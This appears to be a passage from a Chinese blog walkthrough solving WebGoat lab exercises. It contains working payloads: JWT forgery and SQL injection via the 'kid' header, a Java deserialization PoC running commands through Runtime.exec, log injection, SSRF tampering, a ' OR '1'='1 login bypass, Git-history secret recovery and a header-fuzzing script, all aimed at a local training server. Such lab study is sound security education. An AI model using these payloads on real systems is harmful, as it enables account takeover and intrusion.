    "n": "1-j1XlFgLpTHmEcxEZE3FYp44yQqcCAgPXfKUGCXjkMHfDNYobHyUpnIyyxbGm0dh5kXlNLh939A-VjwD-EGXjL-mFeOxTLyf2VGI9TlbqdGf26XYiZjJMHg4R_al3Dqe_Pq89IWT9yxD1IvcTzalIZvTAoEzzMroAjA_hMTwe6UpgoiMdzzRHmQ5rSb9mgEJIRfmOnHhuHhn9854TSERyluyHYzl6EWKxNPAwJUodnsZTEqIlmgexEOdtb5ntqtRF6el1GEjwBPM01rYVsP4zUP1MWcBVeI6XJKpjn3Oby8_hzCP7k1CEpW6s0HNLheVO_qybKc9uQXmcBFBJw4YQ",
    "e": "AQAB"
    }
    ]
    }

    启动本地http

    python -m http.server 8888

    生成伪造 JWT,时间换成现在的

    下一题,题目是一模一样的,但是抓包看到的东西不一样

    这个查看源码

    @PostMapping("kid/delete")
    public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
    if (StringUtils.isEmpty(token)) {
    return failed(this).feedback("jwt-invalid-token").build();
    } else {
    try {
    final String[] errorMessage = {
    null
    };
    Jwt jwt =
    Jwts.parser()
    .setSigningKeyResolver(
    new SigningKeyResolverAdapter() {
    @Override
    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
    final String kid = (String) header.get("kid");
    try (var connection = dataSource.getConnection()) {
    ResultSet rs =
    connection
    .createStatement()
    .executeQuery(
    "SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
    while (rs.next()) {
    return TextCodec.BASE64.decode(rs.getString(1));
    }
    } catch (SQLException e) {
    errorMessage[0] = e.getMessage();
    }
    return null;
    }
    })
    .parseClaimsJws(token);
    if (errorMessage[0] != null) {
    return failed(this).output(errorMessage[0]).build();
    }
    Claims claims = (Claims) jwt.getBody();
    String username = (String) claims.get("username");
    if ("Jerry".equals(username)) {
    return failed(this).feedback("jwt-final-jerry-account").build();
    }
    if ("Tom".equals(username)) {
    return success(this).build();
    } else {
    return failed(this).feedback("jwt-final-not-tom").build();
    }
    } catch (JwtException e) {
    return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
    }
    }
    }

    可以通过sql注入来解,假设使用密钥字符串:mysecretkey,它的 Base64 编码为:bXlzZWNyZXRrZXk=,构造 SQL 注入 Payload(作为 kid 的值)

    原始查询

    SELECT key FROM jwt_keys WHERE id = 'webgoat_key'

    构造payload

    webgoat_key' UNION SELECT 'bXlzZWNyZXRrZXk=' FROM INFORMATION_SCHEMA.SYSTEM_USERS —

    把jerry什么的都换成tom

    Password reset(密码重置)

    翻译:

    通过 WebWolf 使用邮件功能

    我们先来完成一个简单的任务,确保你能够通过 WebWolf 读取邮件。首先启动 WebWolf(参见说明)。在下方重置页面中,向 username@webgoat.org 发送一封邮件(@ 后面的部分不重要)。然后打开 WebWolf 并阅读收到的邮件,使用邮件中提供的用户名和密码进行登录。

    直接发不行,点忘记密码,输入username@webgoat.org

    去webwolf看到

    密码是用户名倒序

    翻译:

    安全问题

    很多网站至今仍存在这个问题:当你忘记密码时,网站会要求你回答在注册过程中设置的安全问题。大多数情况下,这个列表只包含固定数量的问题,有时甚至答案选项也非常有限。为了合理使用这一功能,应该允许用户自己选择问题并自行输入答案。这样用户之间不会共享相同的问题,攻击者破解起来也会更加困难。

    需要牢记的重要一点是:这些安全问题的答案应当受到与数据库存储密码相同级别的安全保护。如果数据库发生泄漏,攻击者不应能够基于安全问题答案来完成密码重置。

    如今用户在社交媒体上分享了太多个人信息,导致使用安全问题来进行密码重置变得愈发困难。关于设置安全问题的优质参考资源可查阅:http://goodsecurityquestions.com/

    任务

    用户只要能正确回答密保问题,就可以找回自己的密码。此“忘记密码”页面没有锁定机制。你的用户名是 webgoat,你最喜欢的颜色是 red。目标是获取另一名用户的密码。你可以尝试的用户包括:tom、admin 和 larry。

    WebGoat 密码找回

    你的用户名

    用户名

    你最喜欢的颜色是什么?

    意思就是直接爆破就可以

    爆破出来tom最喜欢的颜色是purple

    安全问题的问题所在

    虽然安全问题乍看之下像是一种不错的身份验证方式,但它们存在一些很大的缺陷。

    一个“完美”的安全问题应该难以被破解,同时又容易记住。此外,答案必须是固定不变的,不能随着时间改变。

    符合这些标准的问题屈指可数,而且几乎没有哪个问题是适用于所有人的。

    如果你不得不选择一个安全问题,我们建议你不要如实回答。

    为了进一步说明这个问题,这里有一个小任务给你:下方列出了几个常见的安全问题。如果你选择其中一个,页面会告诉你为什么你选的这个问题其实并没有人们想象的那么好。

    当你查看过两个问题之后,这个任务就算完成。

    按他说的看两个

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    创建密码重置链接

    在创建密码重置链接时,你需要确保以下几点:

    该链接是唯一的,并包含一个随机令牌。

    该链接只能使用一次。

    该链接仅在有限时间内有效。

    发送带有随机令牌的链接,意味着攻击者无法简单地通过阻断用户来对你的网站发起拒绝服务攻击。链接不应能被重复使用,这能防止攻击者再次修改密码。设置过期时间则是为了缩小攻击窗口期。重置链接的存在为攻击者提供了诸多可乘之机。

    任务

    尝试将 Tom 的密码(邮箱:tom@webgoat-cloud.org)重置为你自己指定的密码,然后以 Tom 的身份使用该密码登录。注意:本课程无法使用 OWASP ZAP 来完成。此外,浏览器也可能无法成功;建议使用 curl 之类的命令行工具来进行此次攻击。

    Tom 对自己的密码反应非常迅速,他总是在收到包含重置链接的邮件后立即重置密码。

    抓包

    发个curl命令

    curl -X POST "http://127.0.0.1:8080/WebGoat/PasswordReset/ForgotPassword/create-password-reset-link" -H "Host: 127.0.0.1:9090" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "Cookie: JSESSIONID=E0875211566C3FADE8B804B2C26659D3" -d "email=tom%40webgoat-cloud.org"

    发到我的webwolf上了

    复制令牌:68413fe1-2b9d-4135-b4f9-e61f2711da0b

    构造合法重置链接(注意把域名和端口改成 WebGoat 的 8080,路径改为 /WebGoat):

    http://127.0.0.1:8080/WebGoat/PasswordReset/reset/reset-password/68413fe1-2b9d-4135-b4f9-e61f2711da0b

    改好了试试看

    八、(A8) Software & Data Integrity(软件和数据完整性)

    Insecure Deserialization(不安全的反序列化)

    翻译:

    下方的输入框接收一个序列化对象(字符串),并对其进行反序列化。

    rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

    尝试修改这个序列化对象,使得页面响应恰好延迟 5 秒。

    先base64解码看看

    提交的只是一个普通字符串对象,它自身无法产生任何延迟效果,查看源码

    @PostMapping("/InsecureDeserialization/task")
    @ResponseBody
    public AttackResult completed(@RequestParam String token) throws IOException {
    String b64token;
    long before;
    long after;
    int delay;

    b64token = token.replace('-', '+').replace('_', '/');

    try (ObjectInputStream ois =
    new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
    before = System.currentTimeMillis();
    Object o = ois.readObject();
    if (!(o instanceof VulnerableTaskHolder)) {
    if (o instanceof String) {
    return failed(this).feedback("insecure-deserialization.stringobject").build();
    }
    return failed(this).feedback("insecure-deserialization.wrongobject").build();
    }
    after = System.currentTimeMillis();
    } catch (InvalidClassException e) {
    return failed(this).feedback("insecure-deserialization.invalidversion").build();
    } catch (IllegalArgumentException e) {
    return failed(this).feedback("insecure-deserialization.expired").build();
    } catch (Exception e) {
    return failed(this).feedback("insecure-deserialization.invalidversion").build();
    }

    delay = (int)(after – before);
    if (delay > 7000) {
    return failed(this).build();
    }
    if (delay < 3000) {
    return failed(this).build();
    }
    return success(this).build();
    }

    idea建个maven项目,结构如下

    pom.xml代码

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>untitled</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
    <maven.compiler.source>17</maven.compiler.source>
    <maven.compiler.target>17</maven.compiler.target>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
    <dependency>
    <groupId>org.projectlombok</groupId>
    <artifactId>lombok</artifactId>
    <version>1.18.38</version>
    <scope>provided</scope>
    </dependency>
    <dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>2.0.17</version>
    </dependency>
    </dependencies>

    </project>

    VulnerableTaskHolder.java

    /*
    * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
    * SPDX-License-Identifier: GPL-2.0-or-later
    */
    package org.dummy.insecure.framework;

    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStreamReader;
    import java.io.ObjectInputStream;
    import java.io.Serializable;
    import java.time.LocalDateTime;
    import lombok.extern.slf4j.Slf4j;

    @Slf4j
    // TODO move back to lesson
    public class VulnerableTaskHolder implements Serializable {

    private static final long serialVersionUID = 2;

    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction) {
    super();
    this.taskName = taskName;
    this.taskAction = taskAction;
    this.requestedExecutionTime = LocalDateTime.now();
    }

    @Override
    public String toString() {
    return "VulnerableTaskHolder [taskName="
    + taskName
    + ", taskAction="
    + taskAction
    + ", requestedExecutionTime="
    + requestedExecutionTime
    + "]";
    }

    /**
    * Execute a task when de-serializing a saved or received object.
    */
    private void readObject(ObjectInputStream stream) throws Exception {
    // unserialize data so taskName and taskAction are available
    stream.defaultReadObject();

    // do something with the data
    log.info("restoring task: {}", taskName);
    log.info("restoring time: {}", requestedExecutionTime);

    if (requestedExecutionTime != null
    && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
    || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
    // do nothing is the time is not within 10 minutes after the object has been created
    log.debug(this.toString());
    throw new IllegalArgumentException("outdated");
    }

    // condition is here to prevent you from destroying the goat altogether
    if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
    && taskAction.length() < 22) {
    log.info("about to execute: {}", taskAction);
    try {
    Process p = Runtime.getRuntime().exec(taskAction);
    BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = in.readLine()) != null) {
    log.info(line);
    }
    } catch (IOException e) {
    log.error("IO Exception", e);
    }
    }
    }
    }

    Poc.java

    package org.dummy.insecure.framework;

    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.util.Base64;

    public class Poc {
    public static void main(String[] args) {
    try {
    // Windows系统需要将ping次数设为5,这样才能延迟约5秒
    VulnerableTaskHolder payload = new VulnerableTaskHolder("DoWork", "ping localhost -n 5");
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(out);
    oos.writeObject(payload);
    oos.close();
    String flag = Base64.getEncoder().encodeToString(out.toByteArray());
    System.out.println(flag);
    } catch (Exception ignored) {}
    }
    }

    生成token

    九、(A9) Security Logging Failures(安全日志记录失败)

    Logging Security(日志记录安全)

    翻译:

    本挑战的目标是让系统看起来像是用户名 “admin” 成功登录了。

    下方红色区域显示的是将被记录在 Web 服务器日志文件中的内容。

    想更进一步吗?尝试通过在日志文件中添加脚本来提升你的攻击等级。

    额我不是很明白我把username改成admin就过了。难道是我加了换行符吗。。感觉应该要用换行注入,输入

    fakeuser%0ALogin succeeded for username: admin

    翻译:

    有些服务器在启动时会提供管理员凭证。

    本挑战的目标是在 WebGoat 服务器的应用程序日志中找到那个机密信息,以便以管理员用户身份登录。

    请注意,我们试图对其进行了“保护”。你能解码它吗?

    看日志那我kali启动用docker看

    解码

    十、(A10) Server-side Request Forgery(服务器端请求伪造,SSRF)

    Server-Side Request Forgery(服务器端请求伪造,SSRF)

    翻译:

    找到并修改请求以显示 Jerry 的内容。

    点击按钮,弄清楚发生了什么。

    先点一下

    把抓到的包改成url=images%2Fjerry.png

    即可

    翻译:

    修改请求,使服务器从 http://ifconfig.pro 获取信息。

    点击按钮,弄清楚发生了什么。

    抓包

    请求体中的 url 参数是:

    url=images%2Fcat.png

    解码后为 images/cat.png。

    将 url 参数改为 http://ifconfig.pro。进行 URL 编码

    url=http%3A%2F%2Fifconfig.pro

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    Client side(客户端)

    Bypass front-end restrictions(绕过前端限制)

    翻译:

    字段限制

    在大多数浏览器中,客户端对网页的 HTML 部分拥有完全或几乎完全的控制权。他们可以根据自己的喜好修改数值或绕过限制。

    任务

    发送一个请求,要求绕过以下全部五个字段的限制。

    下拉选择字段(有两个可选值)

    f12改前端就可以,我用console改一下

    // 1. 下拉框:增加新选项并选中
    let select = document.querySelector('select[name="select"]');
    let newOpt = new Option('bypass', 'bypass_select', true, true);
    select.add(newOpt);

    // 2. 单选按钮:修改现有选项的值
    document.querySelectorAll('input[name="radio"]').forEach(r => r.value = 'bypass_radio');

    // 3. 复选框:修改 value 并保持勾选
    let cb = document.querySelector('input[name="checkbox"]');
    cb.value = 'bypass_checkbox';
    cb.checked = true;

    // 4. 短输入框:确保超长
    document.querySelector('input[name="shortInput"]').value = '1234567890_very_long';

    // 5. 只读框:改为新值
    document.querySelector('input[name="readOnlyInput"]').value = 'i_am_changed';

    // 提交表单
    document.querySelector('form.attack-form').submit();

    翻译:

    验证机制

    通常会有某种机制来防止用户向服务器发送被篡改的字段值,例如在发送前进行验证。像 Chrome 这样的主流浏览器在运行期间不允许编辑脚本。我们必须通过其他方式来绕过这种验证。

    任务

    发送一个请求,使所有字段的值都不符合字段上方所示的正则表达式规则。

    字段 1:恰好三个小写字母 (1{3}$)

    字段 2:恰好三位数字 (2{3}$)

    字段 3:仅允许字母、数字和空格 (3*$)

    字段 4:数字的英文单词枚举 (^(one|two|three|four|five|six|seven|eight|nine)$)

    字段 5:简单邮政编码 (^\\d{5}$)

    字段 6:支持可选“-四位数字”后缀的邮政编码 (^\\d{5}(-\\d{4})?$)

    字段 7:美国电话号码(可带或不带短横线) (4\\d{2}-?\\d{3}-?\\d{4}$)

    那就抓包改一下

    Client side filtering(客户端过滤)

    翻译:

    薪资管理员

    你当前以 Moe Stooge 的身份登录,职务是 Goat Hills Financial 的首席安全官。你可以访问公司里除 CEO(Neville Bartholomew)之外所有人的信息——或者说,至少你不应该有权查看 CEO 的信息。本次任务中,请检查页面内容,看看你能找到哪些额外的信息。

    选择用户:

    选择员工

    用户 ID 名 姓 社会安全号码 薪资

    Neville Bartholomew 的薪资是多少?

    点一下看看,发现点来点去都没有请求,说明所有数据都包含在前端里了

    f12,点这个下拉框

    能看到所有的返回

    翻译:

    “如果你知道代码,就不需要付钱…”

    f12查看html源码

    把这些码输进去发现打折了,但是没有免费。随便输个12345看看

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    发现有个校验接口,去掉参数访问

    返回了一个免费的代码

    HTML tampering(HTML 表单篡改)

    翻译:

    在一家网店中,你订购了一台新电视,请尝试以更低的价格购买一台或多台该电视。

    看看能不能抓包改,抓个看看

    发现是可以的

    Challenges(挑战)

    Admin lost password(管理员丢失密码)

    他会有一个接口验证用户名和密码,

    先爆破,没有匹配上的

    用题目里的flag尝试更改密码

    POST /WebGoat/challenge/1/reset-password HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 62

    token=a7179f89-906b-4fec-9d99-f15b796e7208&password=newpass123

    返回302 反正也没对

    sql注入试了下也没对

    结果藏在这个logo里似乎。。把图片下下来可以找到

    试试这个!!webgoat_admin_0607!!

    行吧。。

    Without password(没有密码)

    爆破没成

    sql注入成了,填入

    ' OR '1'='1

    Admin password reset(重置管理员密码)

    这道题我抓了两个包

    然后我把参数里的token删掉重新发了下就过了。。

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    邮件收到的都是说这不是admin的重置链接,然后url后面拼接了token

    但是看了一下网上别人不是这样做的。f12看html源码里有提示

    <!–
    ** Revision history (automatically added by: /challenge/7/.git/hooks)

    2e29cacb85ce5066b8d011bb9769b666812b2fd9 Updated copyright to 2017
    ac937c7aab89e042ca32efeb00d4ca08a95b50d6 Removed hardcoded key
    f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website

    –>

    暗示 旧版本的代码中藏有硬编码的敏感信息,虽然当前最新版本的代码已经把密钥删除了,但 Git 仓库的历史记录并没有被删除,需要查看该文件的历史提交记录,从而找到被删除的那行硬编码密钥。

    访问一下http://127.0.0.1:8080/WebGoat/challenge/7/.git/hooks

    扫一遍目录

    gobuster dir -u http://127.0.0.1:8080/WebGoat/challenge/7/ -w "D:\\Global\\apps\\SecLists\\2024.4\\Discovery\\Web-Content\\common.txt" -H "Cookie: JSESSIONID=718D77AC0A02C2F273563667E091C654" -t 50 -x git,html,txt

    发现/.git 目录

    但是访问http://127.0.0.1:8080/WebGoat/challenge/7/.git/返回Whitelabel Error Page

    curl -H "Cookie: JSESSIONID=718D77AC0A02C2F273563667E091C654" http://127.0.0.1:8080/WebGoat/challenge/7/.git -o test_git

    说明是个压缩包,重命名成压缩包

    ren test_git test_git.zip

    解压得到代码,需要根据提示找ac937c7的父提交,即 f94008f 版本中的密码

    git show f94008f:PasswordResetLink.class | findstr /i "key"

    虽然有点丑但是!!keykeykey!!应该就是被删掉的密钥。

    切换到包含密钥 !!keykeykey!! 的历史提交,恢复文件

    git checkout f94008f801fceb8833a30fe56a8b26976347edcf
    git restore .

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    生成密码重置 Token

    java PasswordResetLink admin

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    根据之前收邮件的url,构造地址访问http://127.0.0.1:8080/WebGoat/challenge/7/reset-password/375afe1104f4a487a73823c50a9292a2

    Without account(没有登录)

    抓包看到

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    GET /WebGoat/challenge/8/vote/1 → 返回 need to login 错误

    GET /WebGoat/challenge/8/votes/average → 返回当前平均分

    GET /WebGoat/challenge/8/votes/ → 返回各星级票数分布

    尝试POST方法发现被禁止了

    看看头像里有没有什么信息好像也没有。

    查阅前端html代码也没有什么信息。

    再试试PUT方法也被禁止了。

    【中间不小心抓到个之前题目的jwt解了半天未遂】

    还是再来把没试过的请求头都试一下,一个个试太慢了,写个脚本

    import requests
    import json

    url = "http://127.0.0.1:8080/WebGoat/challenge/8/vote/5"

    session = requests.Session()
    session.cookies.set("JSESSIONID", "821D090A3F2ABD5DAACF10B7998688A6")

    methods = ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"]

    extra_headers_list = [
    {},
    {"X-Forwarded-For": "127.0.0.1"},
    {"X-Forwarded-Host": "127.0.0.1"},
    {"X-Originating-IP": "127.0.0.1"},
    {"X-Remote-IP": "127.0.0.1"},
    {"X-Remote-Addr": "127.0.0.1"},
    {"X-Client-IP": "127.0.0.1"},
    {"X-Host": "127.0.0.1"},
    {"Referer": "http://127.0.0.1:8080/WebGoat/start.mvc"},
    {"Origin": "http://127.0.0.1:8080"},
    {"Authorization": "Basic YWRtaW46YWRtaW4="},
    {"role": "admin"},
    {"X-Forwarded-User": "admin"},
    {"X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "127.0.0.1"},
    ]

    base_headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "X-Requested-With": "XMLHttpRequest",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
    "Connection": "keep-alive",
    }

    for method in methods:
    for extra in extra_headers_list:
    headers = base_headers.copy()
    headers.update(extra)

    try:
    if method == "HEAD":
    resp = session.head(url, headers=headers, allow_redirects=False, timeout=5)
    else:
    resp = session.request(method, url, headers=headers, allow_redirects=False, timeout=5)

    # 仅当状态码为 200 时才输出
    if resp.status_code == 200:
    print("=" * 60)
    print(f"METHOD: {method}")
    print(f"Extra Headers: {extra if extra else '(none)'}")
    print(f"Status Code: {resp.status_code}")

    if method == "HEAD":
    print("Response Body: (HEAD has no body)")
    else:
    try:
    body = resp.json()
    print(f"Response JSON: {json.dumps(body, ensure_ascii=False, indent=2)}")
    except:
    text = resp.text.strip()
    if text:
    print(f"Response Text: {text}")
    else:
    print("Response Body: (empty)")

    except Exception as e:
    # 异常也只在状态码为 200 时不可能发生,但保留异常处理
    pass

    print("\\n[完成] 已过滤非 200 响应。")

    发现运行一次,我的投票数量就会多14?然后看响应,OPTIONS和HEAD都返回了200,但是没有其他返回,尝试了一下发现是HEAD头成功了。

    返回里有flag


  • a-z ↩︎

  • 0-9 ↩︎

  • a-zA-Z0-9 ↩︎

  • 2-9 ↩︎

  • 赞(0)
    未经允许不得转载:171主机测评 » WebGoat2026年版本(全10个模块另附其他模块)通关教程
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址